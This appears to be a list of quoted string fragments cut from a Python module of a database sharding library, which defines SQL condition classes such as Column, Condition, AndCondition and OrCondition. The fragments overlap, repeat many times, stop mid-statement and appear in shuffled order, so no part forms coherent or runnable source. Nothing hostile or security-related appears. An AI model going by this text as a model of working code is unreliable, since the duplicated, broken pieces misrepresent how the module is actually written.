"result class AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self): result = defaultdict(list)",
"= index self.value = value def get_condition_values(self, parameters): return [self.value] if self.value is",
"import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from",
"if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression):",
"from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import",
"result def optimize(self): result = AndCondition() result.conditions = [each for each in self.conditions",
"each in self.conditions if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return result",
"parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values)",
"if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions =",
"for position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if position < len(result): result.insert(position,",
"else 0 class Condition: def __init__(self, column, operator, *sql_expressions): if column: assert isinstance(column,",
"return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED,",
"result[each.column].append(each) return result def optimize(self): result = AndCondition() result.conditions = [each for each",
"= value def get_condition_values(self, parameters): return [self.value] if self.value is not None else",
"= 0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif",
"ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0],",
"list() if condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) ==",
"optimize(self): result = AndCondition() result.conditions = [each for each in self.conditions if type(each)",
"def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule):",
"shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name, table_name): self.name = name self.table_name",
"Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition,",
"__init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if",
"sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column,",
"import equals_ignore_case class Column: def __init__(self, name, table_name): self.name = name self.table_name =",
"* hash(self.table_name) if self.table_name else 0 class Condition: def __init__(self, column, operator, *sql_expressions):",
"SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position",
"self._position_index_map = OrderedDict() self._values = list() position = 0 for expr in sql_expressions:",
"self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position +=",
"for each in self.conditions: result[each.column].append(each) return result def optimize(self): result = AndCondition() result.conditions",
"self.index = index self.value = value def get_condition_values(self, parameters): return [self.value] if self.value",
"== 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions: def __init__(self,",
"expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 #",
"Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return",
"# -*- coding: utf-8 -*- from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import",
"# Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]:",
"else: raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def get_condition_values(self, parameters): result",
"not support :\" + self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for position,",
"result = self._values[:] for position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if position",
"def __init__(self, name, table_name): self.name = name self.table_name = table_name def __eq__(self, other):",
"SQLNumberExpression(value)) self.index = index self.value = value def get_condition_values(self, parameters): return [self.value] if",
"self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None,",
"and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17",
"ShardingOperator) self.column = column self.operator = operator self._position_index_map = OrderedDict() self._values = list()",
"self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for position, param_index in self._position_index_map.items(): parameter",
"super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index",
"class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value):",
"import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from",
"column, operator, *sql_expressions): if column: assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator)",
"self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator ==",
"OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception",
"position += 1 # Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator",
"[ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name,",
"self.table_name else 0 class Condition: def __init__(self, column, operator, *sql_expressions): if column: assert",
"defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import",
"0 class Condition: def __init__(self, column, operator, *sql_expressions): if column: assert isinstance(column, Column)",
"from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name, table_name): self.name = name",
"self._values[:] for position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if position < len(result):",
"self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions: def __init__(self, conditions=None): self.or_condition",
"NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column,",
"operator self._position_index_map = OrderedDict() self._values = list() position = 0 for expr in",
"import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser",
"17 * hash(self.table_name) if self.table_name else 0 class Condition: def __init__(self, column, operator,",
"RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def",
"ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype",
"[each for each in self.conditions if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition())",
"ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not",
"self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\" +",
"SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class",
"list() position = 0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] =",
"def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value =",
"add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class",
"GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value",
"shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import",
"condition=None): self.and_conditions = list() if condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition)",
"= OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class",
"self.and_conditions = list() if condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if",
"ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value def get_condition_values(self, parameters): return [self.value]",
"column self.operator = operator self._position_index_map = OrderedDict() self._values = list() position = 0",
"result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if",
"each in self.conditions: result[each.column].append(each) return result def optimize(self): result = AndCondition() result.conditions =",
"position = 0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index",
"isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number)",
"column: assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator",
"param_index in self._position_index_map.items(): parameter = parameters[param_index] if position < len(result): result.insert(position, parameter) else:",
"get_condition_values(self, parameters): result = self._values[:] for position, param_index in self._position_index_map.items(): parameter = parameters[param_index]",
"table_name): self.name = name self.table_name = table_name def __eq__(self, other): return other and",
"ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1],",
"def __init__(self, column, operator, *sql_expressions): if column: assert isinstance(column, Column) if operator: assert",
"import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name, table_name):",
"class AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self): result = defaultdict(list) for",
"Column: def __init__(self, name, table_name): self.name = name self.table_name = table_name def __eq__(self,",
"return hash(self.name) + 17 * hash(self.table_name) if self.table_name else 0 class Condition: def",
"defaultdict(list) for each in self.conditions: result[each.column].append(each) return result def optimize(self): result = AndCondition()",
"expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text)",
"< len(result): result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions",
"SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column:",
"equals_ignore_case class Column: def __init__(self, name, table_name): self.name = name self.table_name = table_name",
"self.table_name = table_name def __eq__(self, other): return other and isinstance(other, Column) and equals_ignore_case(self.name,",
"-*- coding: utf-8 -*- from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue,",
"RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression,",
"+ 17 * hash(self.table_name) if self.table_name else 0 class Condition: def __init__(self, column,",
"from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import",
"not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list()",
"= table_name def __eq__(self, other): return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name)",
"conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self):",
"other): return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name)",
"isinstance(operator, ShardingOperator) self.column = column self.operator = operator self._position_index_map = OrderedDict() self._values =",
"return result class AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self): result =",
"self.conditions: result[each.column].append(each) return result def optimize(self): result = AndCondition() result.conditions = [each for",
"Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions",
"ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import",
"RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name, table_name): self.name",
"= list() position = 0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position]",
"in self._position_index_map.items(): parameter = parameters[param_index] if position < len(result): result.insert(position, parameter) else: result.append(parameter)",
"= self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator",
"+= 1 # Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in",
"get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name,",
"def get_conditions_map(self): result = defaultdict(list) for each in self.conditions: result[each.column].append(each) return result def",
"if column: assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column = column",
"= parameters[param_index] if position < len(result): result.insert(position, parameter) else: result.append(parameter) return result class",
"= AndCondition() result.conditions = [each for each in self.conditions if type(each) == Condition]",
"result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if condition:",
"raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def get_condition_values(self, parameters): result =",
"OrderedDict() self._values = list() position = 0 for expr in sql_expressions: if isinstance(expr,",
"self.operator = operator self._position_index_map = OrderedDict() self._values = list() position = 0 for",
"from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException",
"= defaultdict(list) for each in self.conditions: result[each.column].append(each) return result def optimize(self): result =",
"AndCondition() result.conditions = [each for each in self.conditions if type(each) == Condition] if",
"result class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition) def",
"else: result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self):",
"def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def",
"condition not support :\" + self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for",
"*sql_expressions): if column: assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column =",
"self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self, parameters):",
"if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN:",
"self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding",
"__hash__(self): return hash(self.name) + 17 * hash(self.table_name) if self.table_name else 0 class Condition:",
"isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass",
"Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class",
"other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17 * hash(self.table_name)",
"elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self, parameters): condition_values",
"SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters)",
"equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17 *",
"-*- from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant",
"SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column: def",
"operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator = operator self._position_index_map = OrderedDict()",
"isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def",
"from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression,",
"self._values = list() position = 0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression):",
"self.conditions = list() def get_conditions_map(self): result = defaultdict(list) for each in self.conditions: result[each.column].append(each)",
"OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition):",
"super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value def get_condition_values(self, parameters): return",
":\" + self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for position, param_index in",
"Column) if operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator = operator self._position_index_map",
"UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from",
"= self._values[:] for position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if position <",
"in self.conditions: result[each.column].append(each) return result def optimize(self): result = AndCondition() result.conditions = [each",
"self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition)",
"value def get_condition_values(self, parameters): return [self.value] if self.value is not None else [parameters[self.index]]",
"= [each for each in self.conditions if type(each) == Condition] if not result.conditions:",
"shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from",
"add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self,",
"class Condition: def __init__(self, column, operator, *sql_expressions): if column: assert isinstance(column, Column) if",
"import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range",
"support :\" + self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for position, param_index",
"len(result): result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions =",
"index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value def get_condition_values(self,",
"result = defaultdict(list) for each in self.conditions: result[each.column].append(each) return result def optimize(self): result",
"pass class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def",
"self.value = value def get_condition_values(self, parameters): return [self.value] if self.value is not None",
"0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions: def __init__(self, conditions=None):",
"parameters): result = self._values[:] for position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if",
"if condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0:",
"UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def get_condition_values(self, parameters): result = self._values[:]",
"Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value)",
"assert isinstance(operator, ShardingOperator) self.column = column self.operator = operator self._position_index_map = OrderedDict() self._values",
"conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column):",
"parameter) else: result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions = list() def",
"if position < len(result): result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object): def",
"AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self): result = defaultdict(list) for each",
"= list() if condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions)",
"name, table_name): self.name = name self.table_name = table_name def __eq__(self, other): return other",
"= operator self._position_index_map = OrderedDict() self._values = list() position = 0 for expr",
"position, param_index in self._position_index_map.items(): parameter = parameters[param_index] if position < len(result): result.insert(position, parameter)",
"self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition)",
"sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def",
"condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif",
"__init__(self, name, table_name): self.name = name self.table_name = table_name def __eq__(self, other): return",
"RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def get_condition_values(self, parameters):",
"find(self, column, index): pass class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if",
"1 # Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL,",
"if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def",
"parameters[param_index] if position < len(result): result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object):",
"column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value def",
"name self.table_name = table_name def __eq__(self, other): return other and isinstance(other, Column) and",
"= OrderedDict() self._values = list() position = 0 for expr in sql_expressions: if",
"condition: self.add(condition) def add(self, condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition())",
"shardingpy.constant import ShardingOperator from shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression",
"get_conditions_map(self): result = defaultdict(list) for each in self.conditions: result[each.column].append(each) return result def optimize(self):",
"return result class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition)",
"= expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1",
"index self.value = value def get_condition_values(self, parameters): return [self.value] if self.value is not",
"sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr,",
"other.table_name) def __hash__(self): return hash(self.name) + 17 * hash(self.table_name) if self.table_name else 0",
"assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator =",
"in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif",
"value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value def get_condition_values(self, parameters):",
"hash(self.table_name) if self.table_name else 0 class Condition: def __init__(self, column, operator, *sql_expressions): if",
"SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self,",
"from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil",
"in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name,",
"and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return",
"position < len(result): result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object): def __init__(self):",
"__init__(self): self.conditions = list() def get_conditions_map(self): result = defaultdict(list) for each in self.conditions:",
"OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition) def add(self, condition):",
"def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL,",
"in self.conditions if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class",
"result = AndCondition() result.conditions = [each for each in self.conditions if type(each) ==",
"index): pass class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions)",
"isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator = operator",
"elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise",
"self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if",
"list() def get_conditions_map(self): result = defaultdict(list) for each in self.conditions: result[each.column].append(each) return result",
"if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def",
"if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions:",
"for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr, SQLTextExpression):",
"def optimize(self): result = AndCondition() result.conditions = [each for each in self.conditions if",
"def add(self, condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None)",
"__init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index self.value = value",
"hash(self.name) + 17 * hash(self.table_name) if self.table_name else 0 class Condition: def __init__(self,",
"self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name, self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return",
"self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index,",
"== ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition",
"utf-8 -*- from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from",
"def __hash__(self): return hash(self.name) + 17 * hash(self.table_name) if self.table_name else 0 class",
"class Column: def __init__(self, name, table_name): self.name = name self.table_name = table_name def",
"self._position_index_map.items(): parameter = parameters[param_index] if position < len(result): result.insert(position, parameter) else: result.append(parameter) return",
"__init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value))",
"def get_sharding_value(self, parameters): condition_values = self.get_condition_values(parameters) if self.operator in [ShardingOperator.EQUAL, ShardingOperator.IN]: return ListShardingValue(self.column.table_name,",
"result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions = list() def get_conditions_map(self): result",
"= list() def get_conditions_map(self): result = defaultdict(list) for each in self.conditions: result[each.column].append(each) return",
"None) class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index =",
"self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions: def __init__(self, conditions=None): self.or_condition =",
"Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) +",
"condition): assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column,",
"class OrCondition(object): def __init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition) def add(self,",
"if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition): def __init__(self,",
